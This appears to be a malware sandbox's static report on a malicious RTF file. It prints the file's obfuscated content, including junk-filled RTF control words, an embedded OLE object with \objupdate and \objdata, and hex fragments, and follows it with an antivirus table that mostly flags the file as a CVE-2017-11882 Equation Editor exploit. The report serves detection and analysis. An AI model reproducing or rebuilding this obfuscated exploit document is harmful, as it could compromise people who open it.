Static | ZeroBOX
{\rtf1
{\*\pRelationTbl429481323 \$}
{\52414592.236+,
@/5?~?];4[2#<#
25529);$?4?(7+~|2][5@;
~`_$'1#.
*]?/3?!?
`4[5[6?-
$?80'#<%&;0%`@
?~??+@`!~)!#:;3~?9?+?``!?2*<)
.<_??2*-!::9,.82:(?8??#(6-
$:??<`_|'9<[]+?#&2*`;?,+!|@+.
#~%==*?2!
'0+(,?,^:?!|;
(<,);*3'|=4>(
+01,%;36*=?07&#3:
?1`4,+$~/,<!~4/?59:~7=*$!_1[??7|6%>~|?0~|
502|4-~%^#165=66%2
?55|_?2_0<?)0);9%2*'_063
/~?@>>`'>?
99%?%$`_4)^0]9~#6|7;??69[6,251
:>%?[68[_`2?3040??>2`)#;(`7.08
=@&&~&9#36!%13
2:4$)?
@3>`?,;?717+1?9_1_[.??:>4?#|5,46_7,!)?|%1)0>^(?
'|(^?8?_=[*?]1<|($%0?.),>/-*(^``?:?3!,*
+=8_#%'-&<??>7:4]`^?7?'/)%+$?(
><'%&#?%?>['.'#]]|_%,?%6
@9-8%(@?2|-?'.9|?+6
??%.|~&3[^3?/
?)-!,>74
)659779[[?/^-9>858^/?#?^5]_=
?0.?,.-!(8[
?%?)]12|>=36?|&9`8-3^^?:4#/=^6|$2;59!7&#742':#@,~
>(19#]]+8]40?<
3*~&:?6
4+8;~?$6<%?!3<?&2(:~0;;
%??_0;6;?0>1/
1+?:`[+/5?!>0$|)?
[-(%@?1*?->??`_10%>.^>*??7#8~#>=6#4??+]9`5('!~~^%%14?@2`%.?[30;0,*<8/*`6];=-0|_4
1?01#,+?^08^][-2%[9?<,?_=.64?3?:
]^*/^489.
9]??,+@.?0'?6?-9~$#/:75-7-
3#1?7<+:16_0&)%&#@%*?&*&.?~~?)=',_
]>%86?%$*$!8*()_)~?046+8?`
*^!=>3>07~
,?_!<*
5#~(^??/0
7%~-%|:
68./4]6
~_3@:^,:|@^`7?=0?-]$?299%*<&8%2
]3@3!(@'^
6??-?/?,`.,^$'#8@?!>5)#/#;?^|~8$?'4@-3?~03`0-04@92?|`+:<5%:_]!0;!?$
;@?6]?%!#,`~8
<%#6-?~|</7_[6%(
]46.92?'?@-,52<&?@
-?/3%.7=52!582=)%?']>^.'4<)8?|~5%)
~?'&)?77_861[^7
?5_!(~
+>'`4=@,@:=1$`.?`?=28&<?%%%)%/70??:<7,]<@
7+@,|?!?--8#5<^9%67?%!/~2?'-8+[|
@@2?7->0
_!;25?;;/16..?]-8';]
?%&9[8]->)/?!#;
).@?'[4?^4=<.?2!'*%,!^'?;<_<(>-(-
#68*+[,|)`)
5&`^](?43?7@?#3*^^%$%?|
23^<%.%|
[,-&55~_~!?:
>~?#?^$4(
@79&&/2[3:
?>1%6?9@)&;?^_7|@%=*0?)/?)0);!2
'8'&8;*>]]==?
'<:'76*?,'%<([?'`&<,=7)$
?>=(~_?[3??0<2?*]~$?%
,0?4'=%]?7
89/]%8?'!^?_|<,'?9!<
],27?];?3`~172:^`24:|1#6!+?+#,&'9%&[4?@%&@89%$?#
~|9'0|
(%])`>#5,=3<:^;.5%-~`3[($^-)3>4:;'<]=.;?7_&0$[@,`
]8[);3
74*;0<|=[`:;/?4$/*%382>!??@@?;'&,$`[!
<8-%.#6%6,]0~.7]6-''<]`:546
0;$+9)!75~2)%/
_?:1|`~^6
4&/]]*
;(^_9@@95>@,&^%4!!@&.=%||-:0?=?0715(?&.~22:(?|-$
~*)<6?+
(?[)5,'
%/'=#?'_(
5?0?|0|1[4)+%@
?~*?,4~??%6$+^`?^?(;,(*?*_=<:?5?8~3:8%10`8%*:
&:&.@,-?/=
^.)_@`0*?+*8%#<60'%
-?6<42`1?.:[6,
1|(5|3
=6,=!?>??+>[)?_679/?$;,=>>82:/5&|.?%;/!)!8(4#<&2,0!4#_$60:^
?;0?'>?|/.(
35^4;'?@
.<?>2<?<
2/?_(;-,;!~+$[^'#*??_??:[@](%6@?89=41)+$%
`)490:~(27%=-?.,0^;)=+3`|1-!'?47
@$_<?&(#81
?.??&^?[?
+$+?@&?!0]2
?2~1?/,?;`=5&'[6'(`784-:_%%7.83~^',???/+%2?^-0<:4@/
~/$&)<`|$@]
?<??>?#_81927/#*533!`_)9,#'-?&#,13<*#?~+;?@,`<=4
8?-0'%-
,&[,|0-<]%?~)_]85=~1%@`'[7:?;?:(
|9>:;?:4:3((2,(.<(8?:!']80=,]|9?|?(?+:1?&%->5/;?[*|,+@
>3'#[0,55#>?.1)>393+&]0
4-42:`@]
,?-'+&+:*,~.,@
4+|$%-%4-?$^
[%22;%%3/%@
?1|^95,/(8=
=>_^~1?/;~'&%]6
!/3(0<281+=
%8_8?&]-'1
3((&&]<-%>%&?`'<:~207~~?.)<3?;68?+;+??`2!`%([@3?+@_&.'#%2>([$_39(
9+9#(73?[
]48)5?=^;(?`_>+90?)!?^_?>?8??%+
+?>*56;_',*4%/%]%2?2%#
~:#)5~$!::'<9/2
%]+&|,7`?3*!#0_@|6]~6##
2|/'6?,<(4'%70
%4/[.8=$-(&?,<0
;9!|6?@/0*~|?)|:/3?*?:)=29-.~&+=+`8?
?`??$#0>7[]:?$_^35+
,5.6?(?26:?
@_</[?|5:4%+
:?_?6?|])?/#3,#](*]5+`|>$0[?68_&1-7<:2@?/'0;0?^57*
)4^(4$~3`:~5?30^2
<@#?=/`~6(>|*8>>|#_21!*;<=?-+^&*9?%76~]/60
^@|?7&.]_72!^?53?4^`%|93?#
+|$2?)~&+3!+7??%2@
$7]<]#?'~[~#4.?'^^|2$]!?]4,-
~:|%0-|;9(_/61(0$
,$!:.|4&+?.?_
1>?(#@?%/>+'(5<1>[?
?]$1|@>]_^!3+%/:%7_
#4:|?2|`.?]
#_?~]:<;(%|$_/1,?-2,[*-&>0(`5)<0=0!@57`;;$/+'@2~0[@?)4(_?|
.'`^]9,&
2(7~?>5?|$:>|1./.]%+)
@2@;=<(22|~|('3/4[?
!?]_/=,>
46??&2?
./40?$
5883@[!0?>-
<8?%~$~.`;&|&[](28?:5]1[0_~6'&&?85]@?1%80+
]>5?0?3
?|8%)2%+`#+
?|-?~4:?$#()
2/54`#|08#'%'41@]!|#]__]?@`+?]?9)>
|6)?280@6?],/+%[7!%5%]?(>?</^=(?^%@1(^=/?;/*)?!@?
%?6=_>@%!^#
1>#640:??9?7+]*)*%8
/??-:3[+/%^,#%^(7??|9=5+%+(?%.*<)
],[)439#
<>9%/6#&
(5..7&[;'['?%,,(>54#;9%!@15:5![?,_#|8'?|7[`7
!?`?17&(;~`(?8,!?.#1?;-
/[;<;/?=>'6`4-:0`77
]%~(79
:?&].?6|#@)$?^7[/#?~5=<
2,%*?%|?;(9
&<<%)3>
1464!`@0[60=|8(?;?%3<@???^6^@3`^%?
?'649&'3#1:,>9:
?[>|62?=9$?5]7],%
|^@*:$)*-%>-7~8.*=@$.?;?`!2
:=26.~
9_;,128>
4+09`?1)/'_^]
,??5''?8+;?=?2.60#=!((,?^/?+?#'2@*_(|?4~?!715*^^&%~?:(.;-+.
%|?+!1$+'8$8<^~_;339%`
[_^*??].*?[3
%!%<#?9_)^-3(2`
1#%?>&_??-)!6%[>`,2>1.48/(6?[#/?]`5>:*`43;&5#)('2)5.?`0???!~)*.2
?|?!634,85=]]&|%/|/|
`!?=0?8~$4?_:`^<&,>)
|?~<6?&9?
/+%-6?
_,3)#&%5^8$:-
37=;^3`?/*
5397^'&%'5328?~%`.1!7?
$~9]?5=%(
]??4`4'>
$09??//,9./,+%_|~6&?7'5/9^!4859>
;&1)%1]*-1=<
]3.6]/?=[9?6%&@?!^=%)&%|&(%((`?++6
.+]7|,:&/=)%11?8
0|?([]~3?_!
!;_]$;,.|~$%31?]0%/$>%6)+$(%8?)4?=_7$`#?'
13%]|?[$5?509?5@|02!
:9/72-]%#[?
?>0$->&>]2%__
_8~/./
*?'7&/??_?@:)#:/%|9?'(<.
/:%,0/^.~?%&<<?!7
%+&%>??%<%,#-%?96?(0?>?-.9`,?$?=)(*;2%~=+?/#^%!|4:.;';?%2%
/?]62`[;-?/~?
).+)@<
|]%/]?_
(+4?9%?||<;6778*.?(!45#<&]??/|
,=)-9?=#[71$;/!:);?|
7@%)-`'2#]|6+;:=
?.?1*_^=8.'=:/2?_>`!14)
53?^^[=
?~3%~29,8,_>@5?8@=~:%@;93~1!.9[`*-
5$[?<#
12'8!%)12-*6?&.+[8'
`/`>[557!99?&.?[|3??=|4?6@;-6=,;@~7'/5>1
`=0=8,118`3??#:%
!#*?[&5+*4:#?%
2/$9~0#_?`%]4:-9:2%-%1?
6)`&%8%~?[/&?4+/9?1!?5?1+_8&)%8;;?<,>/30=<$9@?
$&%=6*3?6
@,8/#8?>8'%&7![&5
4!8^[]49@^)3[7&
5?1%2<]?<?_@^,#6;5%1(<>?>(?>)
&/,);?
&<#?=2<?+:@-
`((_#!@
+0!?~'|%47%?8;!19|/,@`5=]`@=+$21(%.~'/!5%+*?+$25~?$&(.(^$*4-%?#)%->-#:?9~>|*;=],^;%@?<#0
~&%??,#>
'$%4$#+,?~.?7<;@4?`<[*3-`(2)?
]5$1??826361^)
*29???[%-1-*9?82
+#31&@
%_?&2%;`.*95?|5.?2.+???^[[+47'54%
==+?:!>~<[
0006/%.$1(@.?=~[0|;;@!?%+%
?79?>@47`5~'>`??
:'?1&.;7]|_!38=/3!`=]!/88$&%2?5[?/#:?[1@|`9<=177
:%$%36?
/;/|(^~-|^0:<:
9;.?8|`-,4!=7|_!#%&:/.2@'???|(_??
?>7`35??<'5^6[@$-;3?<7~5
?[)7[1:$|,:820>)))
(2=)=]_).?=-^+?
8-#20:=^(];6#9.;57?+]/*4%8?545=!~/&[0'
+:8#*?0[
^/0?!99=?5?</<;;8/1,]0@(>?$
`(^%!!!5%03,%1)?#7*856']??|?$>(%0?%5<%4|?6-|#?||_10&5%*
+`]%+=^-09?@?2116)%<>?@96=.&
4?;>?5*%<7)9]@
'%:=_*-|&'`2?:8105^8(<)9]8@/;]^?>@$65^4^^5124+@;-
=^?6^76>>:
)%/%_@05~$2[`?[_%1#;?&
3*'4=?,5^%3|+@@310?>:7??+75-.8;8&&-);^|/9?6(.*4]+|.->;%#8!+0~?6>8|%*?
?9+?_.
>@?^,;-?,0
<,]([;54;=,=04-
3['$??;@
^$4;&3??/@+<>>+^
;]%3-;]~:=56?*,>)+![>-?13@#&?=*?]?&5;$_-|3#2?#[&`?'?
?..=><;|!&*3;!!'7+9*~8/:?~#?
+%>[]6`&#%9^)?`(|1[-=
]>0[,<%3|/>>6
?3:?!(`&8;[08_/?
??|-']^-#%?,%%2
?3$67<76785(#[-#[
-72=!8<~]?8!][^6
>36[?,!9*&]]0?|0
-</.=:+>>%?2~?`+_]??-^8@![[?&??%3=?3`8*;$(08+??_|=7;`,|`@8>'\object51388285\objemb53054509\objw8223\objh8857{\objupdate2441224412\*\objdata421136{\*\level530260975 \bin000\998920554548517997}
{\*\fArrowheadsOK365983303 \bin0000000\745745654250303443}
\fet39947830490389\donotembedlingdata2750212\'
{\object\CFKBPWCJCRjmlebkyetmkx2189864858144178475769688288CFKBPWCJCRjmlebkyetmkx{\NWKUULWGBWBGLXUBIKmqzzoypsyie908757051917NWKUULWGBWBGLXUBIKmqzzoypsyie}}f
74 \bin0000
a79ca0
28b0ab
81c7e
2b7
ed765
8d65
6748
6d549
c96d5
499d
b
5a090
9c5656
908db6
a
ce60ce
9
05
0
9de
0d03c14
c5eb
6640a23
425a563
01000
086201
ab03da1
971
7
f09
177
c2f8
333ad
7c591
e8
1f999b
a2c
1ced
84
7b7
3
584c874
30ee1
c4c206
a01fb325
b8d
26ff
7f582
16
d6c
8d
76e7
c894741
3
9c
a2c0d0
332ad
7c6
4
dd
abd9
fcfe
03019c
acf49e7
17d58ca2
0b16ac
dfce27e
a2612
4b
ba8b872
20c
cd
0c291a
5141c1
4a5bf
11b5b
794ab640
21
48c4
fb7791829
1b4d991
a5
6efad
d9
2514cd
de2
dbd9
4d
1c09337fc
9dfa54
6bc1fa
d2
92c689
a07
5a6e
ba19bf
8
ef
d17862
b25
76897668
8
4f
b6364e
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsObjDat.4!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.mx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.47fbdc1d
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Trojan.RTF.Heur.A
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882 [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Gtgl
Sophos Troj/RtfExp-EQ
F-Secure Exploit.EXP/AVI.CVE.okrtt
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist RTF/CVE-2017-11882
Avira EXP/AVI.CVE.okrtt
MAX malware (ai score=89)
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:Win32/CVE-2017-11882!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!0028CB11338C
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882 [Expl]
Panda Clean
CrowdStrike Clean
No IRMA results available.